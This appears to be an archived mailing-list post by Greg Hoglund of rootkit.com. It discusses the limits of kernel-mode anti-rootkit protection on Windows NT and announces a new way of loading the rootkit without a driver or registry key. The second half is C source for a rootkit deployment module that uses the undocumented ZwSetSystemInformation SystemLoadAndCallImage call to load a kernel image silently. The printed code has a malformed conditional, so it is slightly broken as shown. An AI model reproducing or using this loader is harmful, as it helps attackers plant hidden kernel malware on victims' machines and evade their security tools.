Greets,
For a while there has been a thread on NTBUGTRAQ about kernel-mode
protection from rootkits. This is good - the whole point of our rootkit.com
project is to get people thinking about the problem. For example, there is
now an ANTI-Rootkit (called Integrity Protection Driver) from Pedestal
Software.
At the Blackhat Briefings this year, more than a couple smart people talked
about how many ways you can load code into the NT kernel - the obvious
reaction to the whole "anti-rootkit" idea. Most of the rootkit developers
were in on this - so we decided to change the windows rootkit in response.
Up until now, the windows rootkit has been a driver. BUT, there is no
reason that a rootkit has to operate as a driver - or a loadable module.
Last year we released rootkit to prove that user-mode 'integrity' software
is completely meaningless. Think about it - anyone who hacks your system is
going to be able to load a kernel mod - period. This is 100% guaranteed.
If an attacker gets into your system using a user-level account, they will
then obtain administrator - which has all the power you'll ever need to load
kernel-mode code. Given this fact, it is easy to see that your 'host' based
solutions are completely vulnerable to modification without your knowledge.
The idea of putting your integrity protection into the kernel is a very good
one - but that isn't going to be done 'right' until Microsoft does it
themselves. And, _when_ they do, a whole 'security' market vanishes.
One of the ideas presented to load kernel mode code was to use an
undocumented entry point into kernel-space - such as the /dev/physicalmemory
device, or a syscall that uses 'SystemLoadAndCallImage'. We could continue
to beat this down, but the fact is there is no OS-supported leverage point
to control access into kernel mode - and becuase of this, new entry points
can always be discovered.
Assuming Microsoft actually fixes the NT architecture to protect against
this sort of thing - there is still the idea of finding buffer overflows in
the kernel itself. Every third party driver you install opens you up to
possible buffer overflows thru IOCTL() commands and even normal read/write
messages. Even the default drivers in NT may be vulnerable to this.
While the rootkit was being handled as a driver, we used the service control
manager to load or remove the driver from kernel space. This is standard,
and it requires that the rootkit driver have a registry key in the
CurrentControlSet/Services tree. This has been changed. We have changed
the rootkit such that it loads into kernel space with no driver or registry
key required. We no longer use the service control manager. Instead,
rootkit now loads into kernel memory using a single interrupt call - an NT
system call known as ZwSetSystemInformation(). Using this call we cause the
rootkit to be immediately loaded into memory and activated.
-Greg Hoglund
http://www.rootkit.com
SourceCode:
//////////////////////////////////////// // New Deployment Module for rootkit 040 // ------------------------------------- // -Greg Hoglund http://www.rootkit.com //////////////////////////////////////// #include <windows.h> #include <stdio.h> typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; #ifdef MIDL_PASS [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer; #else // MIDL_PASS PWSTR Buffer; #endif // MIDL_PASS } UNICODE_STRING, *PUNICODE_STRING; typedef unsigned long NTSTATUS; #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) NTSTATUS (__stdcall *ZwSetSystemInformation)( IN DWORD SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength ); VOID (__stdcall *RtlInitUnicodeString)( IN OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString ); typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE { UNICODE_STRING ModuleName; } SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE; #define SystemLoadAndCallImage 38 void main(void) { /////////////////////////////////////////////////////////////// // Why mess with Drivers? /////////////////////////////////////////////////////////////// SYSTEM_LOAD_AND_CALL_IMAGE GregsImage; WCHAR daPath[] = L"\\??\\C:\\_root_.sys"; ////////////////////////////////////////////////////////////// // get DLL entry points ////////////////////////////////////////////////////////////// if( !(RtlInitUnicodeString = (void *) GetProcAddress( GetModuleHandle("ntdll.dll"), "RtlInitUnicodeString" )) ) exit(1); if( !(ZwSetSystemInformation = (void *) GetProcAddress( GetModuleHandle("ntdll.dll"), "ZwSetSystemInformation" )) ) exit(1); RtlInitUnicodeString( &(GregsImage.ModuleName), daPath ); NT_SUCCESS( ZwSetSystemInformation( SystemLoadAndCallImage, &GregsImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) )) { printf("Rootkit Loaded.\n"); } else { printf("Rootkit not loaded.\n"); } }